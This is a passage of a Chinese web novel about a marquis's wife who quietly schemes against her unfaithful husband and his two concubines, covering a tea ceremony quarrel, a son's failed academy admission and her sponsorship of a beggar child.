杜明月好看的眼眸中却是一片笑意,不慌不忙十分淡定,像是早就预料到了她会来一般。 “妹妹这么急匆匆找来,一定是有什么好消息要告诉我吧?”杜明月自然的收起账本放在一边,示意她在自己对面坐下来,“红豆,上茶。” 原本气冲冲的柳楹莹看着她一套行云流水的动作下来,有些愣住了。 杜明月眼中算是温柔和善的笑意,没有一点对自己的亏欠和嘲讽,坦坦荡荡的样子倒是让她看不明白,她这葫芦里卖的是什么药了。 “……确实是有一个好消息。”犹豫片刻后,柳楹莹试探的开了口。 “那就恭喜柳姨娘了。”杜明月微笑着开口,不出意外的看到柳楹莹果然用震惊的神色看着自己。 “姐姐,你怎么知道……”奇怪的是,柳楹莹反而突然心虚了起来,她以为杜明月听到这个消息会不高兴,竟然和自己设想的完全不一样。 看她实在困惑,杜明月也便不和她卖关子了,而是开门见山的道,“妹妹是想来问我,为什么我前脚与你结盟,后脚却送了春红给侯爷是吧。” 柳楹莹再次愣住,她没想到杜明月真的什么都知道。她想,她和杜明月如果不是对手的话,她一定会发自内心的钦佩杜明月。 “如果我不这样做,你会这么顺利成为柳姨娘吗?”杜明月敛了眼底的笑意,认真问道,“你与侯爷是有真感情的,难道会输给一个处处不如你的丫鬟吗?” “他能将春红抬为姨娘,他便没有借口再不给你名分。”杜明月说这话时内心十分平静,她说得认真,心里也确实是这么想的。 当然,如果是一年前,她绝对接受不了任何人成为姨娘,可现在不一样,不要说两个,就是十个八个,她都不在乎,段骆岐爱的究竟是谁,她更完全不在乎。 “我既答应与你结盟,自然也会让你得到好处,若我和离出府,你还是一个外室,你该如何自处,那时如果侯爷再令娶他人,你又当如何?” 杜明月声声叩问,每一下都敲在柳楹莹的心上。 柳楹莹内心受到了极大的震动,久久没有开口。 是啊,她对付一个春红可容易太多了,如果段骆岐另娶的是世家女子,那她才是真的没有出路了。 这么一想,柳楹莹果然开心了起来,原本心中的怒气全无,对杜明月更加尊敬了几分。 “那一切就交给姐姐了,全听姐姐安排。”柳楹莹起身,认认真真给杜明月行了个礼。 杜明月没再说别的,只是提醒道,“日后,你和春姨娘是一样的,地位上平起平坐,但你还有侯爷的宠爱,还有一双儿女,你已经赢了很多,所以该替自己争的时候,就大胆去争。” “是,谨记姐姐教诲。”柳楹莹认真道,“那妹妹告辞了。” 柳楹莹转身离开,等她走远,红豆一屁股坐下,一脸佩服的盯着杜明月,崇拜的眼睛里几乎都要冒星星了。 “主子。你好厉害啊,紧靠三言两语就将春姨娘和柳姨娘说得心服口服,她们一定都觉得自己背后有靠山。” “就你聪明。”杜明月点了一下她的脑门,忍俊不禁。 红豆闻言嘿嘿一笑,有些害羞又兴奋的道,“这是第一次有人夸我聪明耶!” “……”杜明月无奈的笑了,好吧,就当是这么回事吧。 反正红豆现在年纪也不大,日后应该也会真的变聪明,杜明月笑笑,这么安慰自己。 在杜明月的操办下,段骆岐同一天纳了两位姨娘,府里当真吹吹打打的热闹了一整晚。 第二日,春姨娘和柳姨娘前来例行请安,两人几乎是一同到的,杜明月便安排他们一同敬茶。 杜明月端坐在主位,拿出她当家主母的气度,居高临下的看着跪在她面前的两人。 “姐姐,请喝茶。” “姐姐,我先来的,先喝我的茶。” 春红和柳楹莹争先恐后的给杜明月递茶,杜明月只是静静的看着她们,过了片刻才道,“你们这样不知谦让,这茶我要到什么时候才能喝上?” 第五十四章 赐簪子 杜明月的话让春红和柳楹莹一愣,低下头后,又不服气的瞥了对方一眼。 杜明月看得出,两人这是在暗暗较劲,她也不主动开口打破僵局,最后还是柳楹莹先开了口,做出了退让。 柳楹莹声音轻柔,语气却带着施舍,“姐姐说得对,我和春姨娘既同时做了姨娘,不分主次,那我让让也无妨。” 春红不屑的瞥了她一眼,也看出了她的心思,懒得反驳,反正她只要事事能抢先就可以了。 “姐姐,喝茶。”春红转头,立马一脸谄媚笑容的看着杜明月,双手奉上敬茶。 杜明月点头,面色平静的先喝了她的茶,紧接着也接过了柳楹莹的茶。 之后,杜明月将喝过的茶杯递出去,抬头看了眼红豆,示意她将手中的托盘递到两个姨娘面前。 只见那托盘上盖着一层红布,红布上是两个一模一样精致的螺钿木匣,匣子打开着,里面各放着一支泛着光芒、工艺精湛的黄金簪子。 惊喜的柳楹莹和春红再细细一看,发现两个匣子虽然一样,但里面的那根簪子却完全不同。 一只黄金步摇用了缂丝绕枝工艺,梅花花心点缀了红色的宝石,小巧精致、巧夺天工。 另一只步摇同样是黄金的,只是大朵的牡丹用了珐琅彩工艺,粉色的花朵中是颗颗饱满圆润的珍珠,看起来温婉大方、明艳动人。 “挑你们自己喜欢的吧。”杜明月淡淡开口。 柳楹莹和春红对视了一眼,下意识的猛地伸出手,两只手都落在了那只装着牡丹步摇的匣子上。 柳楹莹眉头一皱,眼疾手快的越过匣子,直接伸手去抢那根步摇。 “放下,这是我看中的,这匣子现在在我手里呢!”春红瞪着眼睛,一脸不服气。 “凭什么给你,簪子现在在我手上!”柳楹莹紧紧的攥着簪子,死活不松手。 “刚才敬茶我已经让了你一次了,这次该轮到我先选了!”柳楹莹义正言辞的说着,她现在终于明白杜明月让自己该争就要争的话是什么意思了。 “哼!刚刚既然是我先敬了茶,那我便在你之上!既然你都认了我是在前,那现在就得乖乖等我选完才能选!拿来!” 春红迫不及待的开口,见柳楹莹仍然无动于衷,于是着急的直接上手抢。 杜明月面不改色的看着两人在自己面前吵得不可开交,仍是一言不发。 下一瞬,春红突然伸手揪住了柳楹莹的头发,恶狠狠的道,“还不赶紧松手!” 柳楹莹没料到她会突然动手,惊呼了一声后也不甘示弱,一边用左手将牡丹步摇藏在自己身后,一边用右手也狠狠抓住了春红的头发。 刹那间,两人打理得纹丝不乱的头发披散了下来。 红豆震惊的看着这一幕,总觉得她们打架的样子好像在哪里见过,是在菜市口吧。 眼看着春红都要将指甲往柳楹莹的脸上挠去了,红豆回头担心的看向杜明月,心中犹豫要不要将两人分开。 杜明月也看见了这一幕,这才敛了眼底的冷笑,开口喝止了两人。 “够了!两个簪子而已,何至于让你们两个闹成这个样子。”杜明月微微蹙眉,看着眼前低着头,垂手而立的两人,“看看你们现在像什么样子。” 杜明月伸手,将那两个匣子盖上,随手换了下位置道,“现在直接挑一个,不许打开,挑到哪一个就是哪一个。” 春红和柳楹莹此时才敢抬起头,虽然心中还有对彼此的不服,但也只能听天由命随便拿了一个。 “回去吧。”杜明月觉得这一早上的闹剧也看够了,她现在想清静清静了。 柳楹莹和春红也只能起身告辞。 此事过去才不到一天,红豆欣欣喜喜的从外头回府,就给杜明月带了一个好消息。 “主子,您知道吗,汇春楼那里又编排了镇南侯府的新话本呢!奴婢今日出去买点心,在那里听了会,说书先生已经说到了府里出了两个姨娘的事儿了。” 红豆好笑的回忆着,“那说书先生说侯爷抬了外室做姨娘,还生了个傻儿子,然后我就听底下听书的说,肯定是另一个姨娘嫉妒,给毒坏的!” “哈哈哈。”红豆说着忍不住大笑了起来,“主子,你说这外头这些人的想象力怎么这么丰富呢。” 杜明月忍不住勾唇:是啊,街头巷尾的传闻八卦就是这么散播开来的,真真假假,越传越夸张。 “今日,你替我注意着那边的动静。”杜明月像是突然想起了什么,放下手中的茶盏,抬头道,“咱们既然听到了这些传言,府里的其他人肯定也都听到了。” 红豆立马变脸,严肃了起来,她听懂了杜明月的意思,揣了四个点心就出了屋子。 大概晌午时分,红豆回来了,一边给杜明月布菜,一边道,“那柳姨娘上午就去找侯爷了,哭哭啼啼的说川儿不傻,还吵着闹着要侯爷出面给他们澄清呢!” “不过侯爷直接拒绝了。”红豆放下最后一盘红烧肉,抬头道,“那柳姨娘就说什么不肯走,缠着侯爷哭了很久,最后许诺柳姨娘,等川儿病好后会送他去鹿鸣书院拜师。” “主子,你说柳姨娘都那么哭求了,侯爷为什么不肯答应出面澄清呢?”红豆一脸困惑和不解。 杜明月眸子淡淡的,平静的看不到一点波澜。 因为她太了解段骆岐了,一早就猜到他绝对不会出面澄清,毕竟若是只澄清这件事,那别人就立马明白,他抬外室做妾的事情是真的,那他更会被别人戳脊梁骨。 所以他宁肯干脆不要回应,无论外界传闻成什么样子,只要他不回应,总有人相信这都是假的。 “回应了对他可没什么好处。”杜明月拿起筷子,让红豆坐下陪自己一起吃饭。 她也想等着看看,段骆岐怎么让川儿进鹿鸣书院,当初段骆霖能进鹿鸣书院,那可是她暗地里砸了不少钱的。 杜明月冷笑,他段骆岐该不会真的以为,段骆霖能那么轻易的进去,沾的是他的光吧。 “主子,那你说川儿真的能进鹿鸣书院吗?”红豆一脸疑惑的坐下,认真发问。 第五十五章 等着看笑话 “虽然奴婢不懂学问,但也知道那鹿鸣书院是京城最好的书院。”红豆眨巴着眼睛问,“应该不是随便什么人都能进吧?” 杜明月点头,言语笃定,“没错,川儿进不了的。” 杜明月勾唇,日后为川儿进不去这事,府里一定还有的闹的,她已经做好了看笑话的准备。 此时,主院。 因为柳楹莹缠着段骆岐直到现在,段骆岐好不容易将她安抚好,直接让她和川儿留下,陪他一起吃午饭。 段骆岐往川儿的碗里夹了一大块白嫩嫩的鱼肉道,“多吃鱼聪明,等你日后进了鹿鸣书院,好好读书,给京城中的人瞧瞧,看以后谁敢说我镇南侯的儿子是傻子!” 在段骆岐和柳楹莹殷殷期盼的眼神中,川儿用力的点点头,眸子里闪着光,乖巧的道,“爹爹,我记住了,我一定不给爹爹丢脸!” 他话音刚落,段骆霖的脚步声便匆匆传来。 “大哥,你有事找我?”段骆霖一进来,看到段骆岐和柳楹莹、川儿坐在一起吃饭,愣了一下,才在一旁坐下了。 “是,你最近在鹿鸣书院一切还好吧?”段骆岐开口,段骆霖又愣了一下,像是突然想起了什么。 其实,大哥段骆岐虽然对自己确实寄予了厚望,但并非是事无巨细的关心自己,只有杜明月才会对自己的学业和生活事无巨细的关心,每每见面都会和自己聊上许久。 想到这里,段骆霖的心中蓦地一紧,没来由的有些不舒服,他暗暗收紧了拳头道,“是,一切还好。” 段骆岐闻言,满意的点了点头,又开口道,“是这样的,川儿也已经到了入学启蒙的年纪了,我打算让川儿也去鹿鸣书院读书。” “这是好事啊。”段骆霖理所当然的点头,“川儿好好读书,日后也一定能光耀门楣。” “嗯,因为鹿鸣书院与其他的书院不同,需要引荐人,所以我想着明日带上川儿和家人由你引荐给院长先生。” 段骆岐说出了他叫段骆霖来的目的,段骆霖犹豫了一下。 其实他就是鹿鸣书院最普通的学生,其实哪里能在院长先生面前说得上话,而且当初入学的事情,不是段骆岐出面给自己解决的吗? 算了,或许大哥也是想让自己再跟着去露个脸混个眼熟吧,他只管带他们去见院长先生,接下来的事段骆岐自己应该能搞定。 一想到这里,也没打算深究的段骆霖立马点头答应了,“好。明日大嫂也要同去吧?” “她是侯夫人,明日川儿入学这么大的事情,她当然也要跟着一起去了。”段骆岐说完,回头看到一旁柳楹莹殷切期盼的眼神,又开口补充道,“你也一起去。” 柳楹莹眼里闪着欣喜的光芒,接下来一整天都在忙着给川儿准备入学的东西,全然忘记了川儿还有进不了鹿鸣书院这种可能。 翌日,镇南侯府朱红色的大门外停着两辆偌大的马车,上面还有镇南侯府的标志,十分的气派。 杜明月面色如常,无波无澜的站在段骆岐身后,和柳楹莹、川儿以及段骆岐等人一起出现在了门口。 “明月,你果然还是最贤惠的,知道今日事关川儿入学的大事,竟然一点都没有犹豫,直接答应和我们一起去书院,我真的太高兴了。” 段骆岐转身,欣喜的朝着杜明月伸出手,却被杜明月不着痕迹的避开了。 杜明月直接走向马车前,回头道,“时候也不早了,赶紧出发吧,我和柳姨娘、川儿坐这辆马车,侯爷你们坐后面那辆吧。” 她说完,也不等段骆岐许可,自顾自直接进了马车里面坐下。 段骆岐神色有些失落和尴尬,不过想到今天毕竟是个令人开心的重大日子,他也便不计较了,回头给了身后几人一个眼色,自己也回头匆匆上了后面那辆马车。 柳楹莹的手中拿了许多从库房账上支出的礼品,打算送给书院先生做见面礼,留个好印象,因此十分的宝贝,上马车时也不肯离手。 众人坐稳后,两辆马车在车夫的驱使下,终于动了起来,朝着鹿鸣书院的方向去了。 宏伟的鹿鸣书院坐落在京城寸土寸金的城东边,周围却难得的一片僻静,可谓闹中取静的典范。 马车在书院外停下后,段骆岐等人在段骆霖的带领和引见下,顺利见到了鹿鸣书院的院长先生。 院长先生一入内,看到这站在屋里的许多人,面上立马带上了熟练的笑容,正要打招呼,看到杜明月也立在其中,脸上一喜,眸光都生动了起来。 他才要开口说什么,杜明月立马暗暗朝着他摇了摇头,那院长会意,立马看了一眼其他人,再回头用问询的目光看了一眼杜明月,杜明月暗暗点头。 院长先生立马心中有数,开始和段骆岐打招呼,而段骆岐等人因为太紧张,视线一直落在院长先生的身上,并没有注意到他和杜明月两人眼神的交流。 “这便是这次想要入学的孩童?”院长先生眉眼温和的看着川儿,川儿认真的点点头。 院长先生捋了捋胡须道,“那咱们直奔主题,按照惯例,需要先做一番自我介绍,然后由老夫来出题考核,合格的便能留下。” 柳楹莹对自己的儿子极为自信,迫不及待的开口替川儿应下了,甚至连介绍也由她来做了。 院长先生看着有些喧宾夺主的柳楹莹,心中不悦,但是隐而不发,面色还继续保持着原来的和煦。 “先说说你都会些什么吧?都读了什么书,认得多少字?”院长先生循循善诱,川儿仔细回忆下,终于自己开了口。 “百家姓,千字文……”川儿一脸自豪的细数自己学过的东西。 院长先生见他已经识字,便从一旁拿出一本书籍,随手翻开一页递给他。 “好,那你将这篇策论背诵下来,我从你的所用时长,就能判断出你的天分如何。” 院长先生说着,在香炉里插上一炷线香,又让杜明月等人都坐下安心等待。 本就有些担心川儿背不下来的段骆岐一直盯着院长,时间越长,他见院长的脸色也就越凝重,他的心里也就更加的紧张。 第五十六章 资质平庸 一炷香接着一炷香的燃尽,屋内安静的可怕,只有段意川不熟练的朗诵声时不时的响起。 柳楹莹内心紧张的几乎要将手里的帕子绞烂。 段骆岐也从未感觉到,时间竟然能够过得如此漫长和熬人,就连一开始觉得事不关己的段骆霖脸上也露出几分担忧。 唯有杜明月一人,神情放松悠闲,面色平静,好像有无限的耐心能等着这出戏一直唱到结尾。 “够了,到此为止吧。”耐心被消耗殆尽,实在等不下去的院长先生起身,从段意川手中抽走了策论。 他眉头紧蹙,一脸认真的对段骆岐道,“一个时辰过去了,一篇策论还背不下来,足见段意川资质平庸,甚至连中人之姿都没有,这样的学生是绝对进不了书院的。” 院长的一席话,如同一记重锤狠狠的敲在了段骆岐的心上,他甚至觉得自己都被打得有些头晕耳鸣了。 段骆岐好不容易站稳,不可置信的看向段意川,只见他一脸惊恐和困惑的躲在柳楹莹的身侧,柳楹莹还紧张的将他护在怀里。 “过来!”段骆岐气的咬牙,没想到他最是引为为傲的儿子今日竟然会让他受到如此奇耻大辱,“求院长先生再给你一次机会,这次好好表现。” “爹爹,不要,我怕。”段意川从未见段骆岐对自己这么凶,一下子忍不住大声哭了起来。 此时院长先生的脸色更加难看了,他不悦的出声制止道,“侯爷!请自重!我这书院是为朝廷培养栋梁之才的地方,不是给侯爷做戏的戏台!” “侯爷要教子,应该带回镇南侯府,在我这书院耍什么威风!”院长气的一甩袖子,狠狠瞪了段骆岐一眼。 杜明月闻言,心中暗暗的称赞院长先生,这几句话可真是说到她心坎里去了。 段骆岐只觉得自己脸上好像被人狠狠扇了巴掌,即便心有不甘,却也只能咬牙咽下屈辱,“院长说的是,是我考虑不周了。” “不如,我将这孩子带回去再教一段时间,再带来给您瞧瞧?”段骆岐还没有完全死心,又试探着开了口。 “大可不必!”院长闻言,没有任何犹豫直接拒绝了他,“这书院从未有过这样的规矩,也不可能为了侯爷专门更改这书院的规矩!请回吧!” 院长先生再次黑着脸下逐客令,段骆岐无地自容,还在犹豫时,就被不想被殃及的段骆霖急急忙忙的拉走了。 “大哥,走吧。”段骆霖说着先将段骆岐推到门口,又回头急急的催促柳楹莹道,“小嫂子,川儿,赶紧跟我回去吧!” 柳楹莹眼眶蓄满泪水,拉着段意川一步三回头,试图用楚楚可怜打动院长先生,再给他们一个机会。 但院长先生完全不吃她这一套,甚至直接转过身背手而立,如同一棵挺拔的青松。 柳楹莹见段意川当真没希望入学读书,一扭头拉着段意川一路哭着离开了。 杜明月见段骆岐等人已经走出去很远,这才开口同院长先生道,“院长先生,那我也告辞了。” 院长先生闻言,急忙回头,脸上早就不见了刚才的阴云密布,甚是和蔼热情。 “刚才没能和侯夫人好好打招呼,还要谢谢你送我的那副《旭日东升图》,当真是稀世珍品,我很喜欢,侯夫人有心了,我一直都小心翼翼的珍藏着。” 杜明月闻言,微微一笑,其实她现在后悔了,她不该花重金寻到这幅画送给院长的,倒不是心疼钱,而是不应该为了让段骆霖进书院读书费这么大的心思。 “院长先生喜欢就好,日后若机缘巧合得了这好东西,还给院长先生送来。”杜明月微微笑着,不论如何,这鹿鸣书院院长的关系还是应该好好维系着,谁知道哪天就能派上用场呢。 “另外,我还有一事相求。”杜明月朱唇轻启,剪水秋瞳般的眸子满是真诚。 院长一愣,犹豫了一下还是点头道,“夫人说说看,若是我能通融的……” “从此以后,不必再照顾段骆霖。”杜明月自知自己此番请求并不存在任何强人所难,因此理直气壮十分认真的开口。 “之前,是我想错了,只是觉得段骆霖天资中上,虽顽劣不堪重任,或许可以通过读书规范自己的言行,如今看来是我识人不清。” 院长一愣,想起他今日也听到了不少和镇南侯府有关的传言,他本也没当回事,可如今看杜明月这态度,看来外头传的八九不离十都是真的。 是段骆岐背叛了杜明月,伤了杜明月的心,她已心灰意冷,再不愿管段家的事。 院长也不好多问,只是杜明月既然开了口,他便也只能答应了下来。 “侯夫人,你的意思我明白了,您放心,日后一切按章程办事,若是段骆霖违反书院的规定,我会做主将他逐出书院。” “劳院长费心了。”杜明月说完,行礼告辞,匆匆离开,带着红豆一起出了鹿鸣书院的大门。 但让她们没想到的是,门前原本停着的两辆马车居然都不见了。 此时一阵冷风吹过,街上掉下一片叶子,倒是将眼前这冷冷清清的氛围烘托的更加凄凉了。 杜明月左右看看,确定他们确实已经离开后,忍不住突然笑了,准确来说是气笑了。 看起来段骆岐他们果真是大受打击,已经昏了头了,不记得早上可是拼了命的也要说服自己一起来,现在她还没出来,这些人竟然已经走了! “主子,他们这是什么意思,故意抛下我们吗?”红豆一想到从鹿鸣书院回到镇南侯府需要走很长的一段路程,就气呼呼的道,“是那孩子自己不争气,又不是咱们害的!” “算了,书院后面便是市井小巷,走出去便到了热闹的大街,去那里找马车回去吧。”杜明月内心轻松愉悦,其实不和段骆岐他们一起回去更好。 杜明月带着红豆出现在书院后的小巷,才走了一半,就看到有一个小孩正努力的将耳朵贴在墙上,神情十分认真,时不时还低头啃一口手里的黑馒头。 杜明月被他奇怪的动作吸引,再仔细看过去,发现他衣衫褴褛,脚上穿的也是破草鞋,只有头发胡乱的一左一右扎了两个丸子头,整个人看上去跟小乞丐似的。 第五十七章 资助小乞丐 “小孩,你在这里做什么?”杜明月左顾右盼,确定这小巷里只有他一人,也没有其他的玩伴,便忍不住上前道,“你这样贴在墙上是在听什么?” 那小孩闻言肩膀一抖,抬头用小鹿般黑亮的眼眸看向杜明月,确定杜明月没有恶意后,这才站直了身子,有些不好意思的开口解释。 “我在听书院里的先生授课,这上面是窗子,虽然我够不到窗户,但我在这里就能听得清。”小乞丐嘿嘿一笑,目光十分友善。 杜明月神情震惊的将目光在小乞丐脸上和墙壁上来回移动,若不是亲眼所见,她完全想象不出还能这么听课。 她心中升起几分对小乞丐的欣赏和赞许,“你想读书识字?” “想!”小乞丐闻言,眼睛先是立马亮起来,又慢慢的暗淡了下去,他将手中的黑馒头局促的藏在身后,“但我家里没钱,我不能去私塾读书,所以只能在这里能听一点是一点。” 杜明月心中唏嘘感慨,没想到是个如此懂事,让人心疼的孩子。 “对了,我已经认得两三百个字了呢!”小乞丐一脸骄傲的指着地上的沙子道,“看这就是我今天新学的几个字。” 杜明月急忙低头去看,果真如此。 “虽然,我知道我这样学,以后肯定也考不了秀才,但是没关系,我只是想着多认些字,以后不至于乞讨,随便做点儿做点什么事,也是能养家糊口的。” 小乞丐说完,自己又嘿嘿的笑了,黑亮的眸子里满是对未来的憧憬。 杜明月抬头,一双凤眸中映着小乞丐开朗乐观的模样,心中很是触动。 或许是杜明月安静的盯着他看了太久了,小乞丐变得有些局促起来,他挠了挠头道,“怎……怎么了,我说的不对吗?” “不,你说的很对。”杜明月温柔的开口,语气中满是鼓励,小乞丐身处这样艰难的境地,还有如此心性,是真的值得很多人学习。 “你叫什么名字,家住在哪里?”杜明月突然开口,心里生出了一股强烈的,想要帮他一把的想法。 小乞丐挠了挠头,有些害羞的摸了摸鼻子道,“别人叫我二狗,我没有正经名字。” “杜凌风……杜凌风怎么样?”杜明月开口,此时她心中已经完全打定了主意,“从此以后,我来资助你读书,不必担心钱的问题,只要安心读书就好。” 小乞丐眨巴着大眼睛,像是怀疑自己的耳朵一般,愣了许久都没有缓过来,直到杜明月再次开口,他才回过神来。 “不喜欢这个名字吗?”杜明月微微蹙眉,正想着另起一个名字,就听到小乞丐急急的开了口。 “我喜欢!”小乞丐直到现在也不敢相信,真的有这种好运气会落在自己身上,突然就呜呜呜的哭了起来,他用力的用袖子擦了擦眼睛,再抬头笑得一脸阳光。 “那姐姐,我怎么称呼您啊?”小乞丐犹豫了一下,怯生生的开口。 杜明月想了想,反正她很快就离开侯府,会和侯府一点关系都没有,便微笑着道,“就叫我姐姐吧,杜姐姐,这个称呼很好。” “嗯!”小乞丐开心的点头,双眼亮晶晶的。 “那你今日先跟我走吧,我带你去见我的管家,日后有事可以直接去找他。” 杜明月转头对红豆点点头,红豆立马去找来了一辆马车,马车载着三人一路驶到了中大街。 李富贵家门前,杜明月抬手叩了叩门。 很快,大门便从里面打开了,有些警惕的林娇一看来人是杜明月神色立马放松了下来,一脸欣喜和恭敬的道,“小姐,您今日怎么来了,李富贵刚回来没多久,快请进。” 林娇给杜明月让了位置,看到她身后的红豆和小乞丐时,愣了一下。 她听李富贵说过,如今杜明月身边有个会武的小丫头保护着,大抵便是今日一同来的这个丫鬟了,可是旁边这个小乞丐是谁? 林娇狐疑的又打量了一眼小乞丐,但转念一想,这是杜明月带来的人,这不是她该操心的,便客气的将人都迎进了屋子。 “小姐!”李富贵一看到杜明月还是和以前一样,开心得急忙给她让座,“坐这里。” 林娇的动作也很快,杜明月等几人才坐下,她便将热茶的点心、蜜饯一类的端了上来。 小乞丐看着盘子里的点心,眼睛一下子就亮了起来,但想了想,又克制的扭过头去。 杜明月早就将他的动作尽收眼底,对他的表现也很满意,便特意让林娇将整盘点心放到了他面前。 “吃吧,慢一点,别噎着。”杜明月微笑着看小乞丐终于吃了起来,这才转头对李富贵道明自己的来意。 “这孩子是我刚才在鹿鸣书院的后巷捡到的,现在叫杜凌风,我打算资助他读书,但我也不能将他带入府中,所以想把这孩子托付给你。” “这孩子懂事,也不用怎么费心,富贵叔,你就帮他寻一个干净的院子,让他去私塾读书,再给他买几身干净衣裳,让他每天能吃饱饭就可以了。” 杜明月想了想补充道,“这钱都从我的账上出,富贵叔你看着安排就可以了。” 李富贵闻言,心中明了,回头看向小乞丐,也认真打量了起来,想着能入得了自家小姐的眼,一定是个不错的好苗子。 “小姐,你放心,这件事就包在我身上。”李富贵回头微笑着对小乞丐道,“凌风?” 杜凌风闻言,立马放下手中的糕点,一脸认真的看向他们。 “跟你李叔走吧,先去洗洗,换身干净的衣裳。”杜凌风闻言抓了抓衣角,有些局促不安的看向杜明月。 杜明月微微笑着点头,“你就放心跟着去吧,日后只要有时间,我会去看你的。好好读书,有任何问题,来这里就可以了。” 杜凌风闻言,立马重重的点了点头,这才乖巧的跟着李富贵离开了。 “婶子,那我先走了。”杜明月起身到了院子里,微笑着看着林娇正逗自己的孩子玩。 林娇闻言,急忙起身,像是生怕孩子沾满泥巴脏兮兮的小手弄脏了杜明月的衣裳,一直紧紧抓着不撒手。 第五十八章 不过是个庶子 “那小姐慢走。”林娇恭恭敬敬的开口,嘴角还噙着笑意。 杜明月朝着他点点头,离开前还摸了摸孩子的脑袋,由衷的感叹了一句,“真可爱。” 回镇南侯府的路上,红豆坐在马车里,还有些愤愤不平的道,“主子,你说他们会不会回到府里,才想起您没有一起回去啊?” “难说。”杜明月唇角勾起,露出一抹冷笑。 此时的镇南侯府,估计因为段意川没能进入鹿鸣书院这件事,现在已经乱成一锅粥了。 段骆岐那些人哪里还有心思在意自己回没回去,他们担忧的只有镇南侯府会不会因为这件事,沦为京中的笑柄。 显然段骆岐的担忧是有道理,京城歌舞升平、繁华热闹之地,平日里就属各种世家秘辛、风流韵事传播的速度最快。 不过半日的时间,市井间关于镇南侯府的传闻已经变了。 “你们听说了吗,那镇南侯府的小少爷真是个傻子,估计天生就是个傻子。” “可不是吗,听说那鹿鸣书院的觉得他们想随便塞个傻子进来,是在羞辱自己,气得当场摔坏了好几个花瓶呢!” “那鹿鸣书院是京城最顶级的学府,这可不是往人家脸上抹黑吗,要我是院长,我也生气!” 众人都在疯传段意川就是个傻子,甚至将事情经过都传的有鼻子有眼,仿佛他们亲眼见过一般。 这市井流言、风言风语传的实在厉害,很快就传到了段骆岐和柳楹莹的耳朵里。 柳楹莹在段骆岐身边哭哭啼啼,段骆岐本就心烦意乱,此时更是耐心全无。 他一拍桌子喝道,“哭哭哭,哭有什么用!” 说完,不等柳楹莹反应过来,他便起身拂袖离去。 出了偏院,见到了段老夫人身边的嬷嬷,见是来寻自己的,就直接去了段老夫人房中。 “老大,你糊涂啊,你怎么能这么冲动,不和我商量就带川儿去鹿鸣书院呢?”段老夫人一副怒火攻心的模样,皱着眉头用拐杖不住的杵着地面。 段骆岐满心愤懑,他对外头的风言风语无力扭转,此时只能沮丧的低着头,一言不发。 段老夫人见他这副犹如霜打了的茄子一般,原本的心气全无,眼底浮现一抹一闪而过的喜色,立马又变回了刚才一脸担忧和揪心的模样。 她在段骆岐身边坐下,伸手将他的手握在手中,脸上不见刚才的责备,反而是和善的宽慰和鼓励,“老大,你是镇南侯,你其实不必在意外头那些风言风语。” “且先不说川儿不是傻子,即便真是,那他也不过是个庶子,你以后还会有很多孩子,这偌大的家业就算交也交不到他一个庶子的手中。” 段老夫人拍着他的手背安慰道,“这个道理,你难道还想不明白吗?况且你现在已经纳了妾,两房三房又有什么区别。” 有些沮丧的段骆岐在听了她的这番说法后,果然像是被人点醒了一般,猛地抬起头,双眼发亮,完全不见刚才那般沮丧和难过的模样。 “母亲说的在理,是我糊涂了,多谢母亲提点。”段骆岐脸上的乌云消散,一脸轻松和欣喜。 段骆岐暗暗攥紧了手,是啊,以后能够继承他的荣耀和家业,将镇南侯府继续发扬光大的,一定会是他最出色的儿子。 而且他现在还年轻,以后还会有其他的儿子,他只要用心栽培就行了。 段骆岐心情大好,还打算陪着段老夫人再坐一会时,偏院照顾柳楹莹的嬷嬷急匆匆的找来了。 “柳姨娘说是心口疼,想让侯爷过去瞧瞧。” “心口疼?”段骆岐蹙眉,下意识有些着急的起身,看了眼段老夫人的神色,心中又冷了几分。 大概是自己哭出来的吧! 段老夫人见段骆岐似乎有些心烦,便安慰他道,“你还是去看看吧,别因为这点事,又将府里闹得不得安宁。” 段骆岐闻言,只好告退离开。 在前往偏院的路上,段骆岐正快步走着,春红却不知道从哪里冒出来,突然脚下一歪,身子一软直接扑倒在他的怀里。 段骆岐下意识接住,春红便紧紧的抱着他不肯撒手了,她将脸颊贴在他的胸膛上,娇滴滴的开口道,“侯爷,妾好像脚扭了,侯爷送妾回去吧,疼~” 春红撒着娇,段骆岐微微蹙眉,想要将她推开,可此时脑海中不知为何,却突然鬼使神差的冒出了段老夫人那句劝慰。 他以后会有很多儿子。 他要为镇南侯府开枝散叶。 段骆岐的眸色一深,低头看向怀里的春红。 虽说他瞧不上春红这个人,但不得不承认,春红在床上还是有两下子的。 想到这里,段骆岐一个打横将春红抱起,春红震惊之余,满脸都是娇羞惊喜,像是没想到他真的这么喜欢自己。 春红发出一声娇嗔,将段骆岐抱得更加紧了。 段骆岐抱着春红一路朝着她的屋子走去,将身后那看得目瞪口呆的嬷嬷远远抛下,完全不记得他刚才是准备去柳楹莹房中的。 那嬷嬷毕竟也是在府中呆了有些年岁的,因此一看这架势,立马就明白接下来会发生什么了。 如此一来,她也不好追上去拦着,毕竟没有下人会去主动触主子霉头的。 这么一想,嬷嬷立马转身离开,她打算将事情原原本本说给柳楹莹听,就算要闹也是她自己去闹,和她无关。 果然,柳楹莹听到这个消息,也不哭了,当场气得摔碎了几个茶杯,要不是嬷嬷拦着,桌上的物件几乎都要遭殃。 “春姨娘!”柳楹莹眼里冒着火,几乎是咬牙切齿的说出了这三个字,“竟然抢人!你这是要明着和我宣战了是吗?好,我倒要看看,咱们俩谁能笑到最后!” 柳楹莹双手紧紧的攥着,身旁的川儿看着她的模样,都有些微微的害怕。 “嬷嬷,你照顾川儿吃饭,我去找侯爷!”柳楹莹说去就去,将川儿往嬷嬷怀里一塞,提起裙摆就匆匆的跨过了门槛。 虽然柳楹莹一路狂奔而来,但在她之前,是段骆岐的随从先一步找到春红房中,见到了段骆岐。 第五十九章 书房进贼了 “侯爷!”长庚站在紧闭的房门前,脸色焦急的拼命拍门,但里面却毫无反应。 长庚将耳朵往前凑了凑,听到里面传来一阵阵淫.笑声,微微蹙眉沉着脸,一副无奈的模样。 但也只是犹豫了一瞬,他的神色重新变得坚定,他更加用力的敲了敲门,焦急的大声道,“侯爷,出事了!出事了!” 段骆岐一开始就听到了长庚的声音,但觉得应该没有要紧事,就暂时将他晾在一边,和春红打得火热。 可是当他听清“出事了”三个字,神情一变,短暂的愣怔后,猛地一把推开身上的春红,对着门外道,“进来!” 长庚立马推门而入,段骆岐正在穿衣裳,身后的春红见状,吓得惊叫出声,立马转过身去,也赶紧拉上自己肩头的衣裳,着急得整理了起来。 